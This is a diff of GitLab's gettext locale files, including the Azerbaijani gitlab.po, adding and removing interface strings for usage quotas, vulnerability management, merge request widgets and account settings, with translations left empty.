msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index 2500abdbb6b..72868deab35 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
